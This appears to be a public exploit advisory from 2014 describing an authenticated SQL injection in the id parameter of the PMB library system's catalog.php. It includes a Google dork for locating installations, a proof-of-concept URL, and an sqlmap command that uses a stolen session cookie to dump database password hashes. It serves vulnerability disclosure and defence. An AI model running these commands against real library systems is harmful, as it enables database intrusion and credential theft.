45 lines
No EOL
2 KiB
Text
45 lines
No EOL
2 KiB
Text
# Exploit Title: PMB <= 4.1.3 Post-Auth SQL Injection Vulnerability
|
||
# Google Dork: inurl:opac_css
|
||
# Date: 25-12-2014
|
||
# Exploit Author: XD4rker (Ismail Belkacim)
|
||
# Email: xd4rker[at]gmail.com
|
||
# Twitter: @xd4rker
|
||
# Vendor Homepage: http://www.sigb.net
|
||
# Software Link: http://forge.sigb.net/redmine/projects/pmb/files
|
||
# Affected versions : <= 4.1.3 (Tested against version 4.1.3, 4.1.2 and 3.4.16)
|
||
|
||
-==== Software Description ====-
|
||
|
||
PMB is a completely free ILS (Integrated Library management System). The domain of software for libraries is almost exclusively occupied by proprietary products.
|
||
We are some librarians, users and developers deploring this state of affairs.
|
||
|
||
PMB is based on web technology. This is what we sometimes call a 'web-app'.
|
||
PMB requires an HTTP server (such as Apache, but this is not an obligation), the MySQL database and the PHP language.
|
||
|
||
The main functions of PMB are :
|
||
|
||
* Supporting the UNIMARC format
|
||
* Authorities management (authors, publishers, series, subjects...)
|
||
* Management of loans, holds, borrowers...
|
||
* A user-friendly configuration
|
||
* The ability to import full bibliographic records
|
||
* A user-friendly OPAC integrating a browser
|
||
* Loans management with a module designed to serve even the very small establishments
|
||
* Serials management
|
||
* Simple administration procedures that can be handled easily even by the library staff...
|
||
|
||
-==== Vulnerability ====-
|
||
|
||
Variable $notice_id isn't properly sanitized in file classes/mono_display.class.php, which allows authenticated users to execute arbitrary SQL commands via the id parameter.
|
||
|
||
-==== POC ====-
|
||
|
||
http://localhost/[PMB_PATH]/catalog.php?categ=isbd&id=9 [SQLI]
|
||
|
||
Using SQLMAP :
|
||
|
||
./sqlmap.py -u "http://localhost/[PMB_PATH]/catalog.php?categ=isbd&id=9" -p id --headers="Cookie: [VALID_USER_COOKIE]" --passwords
|
||
|
||
-==== Exploit requirements ====-
|
||
|
||
- You will need to be logged in in order to exploit the vulnerability. |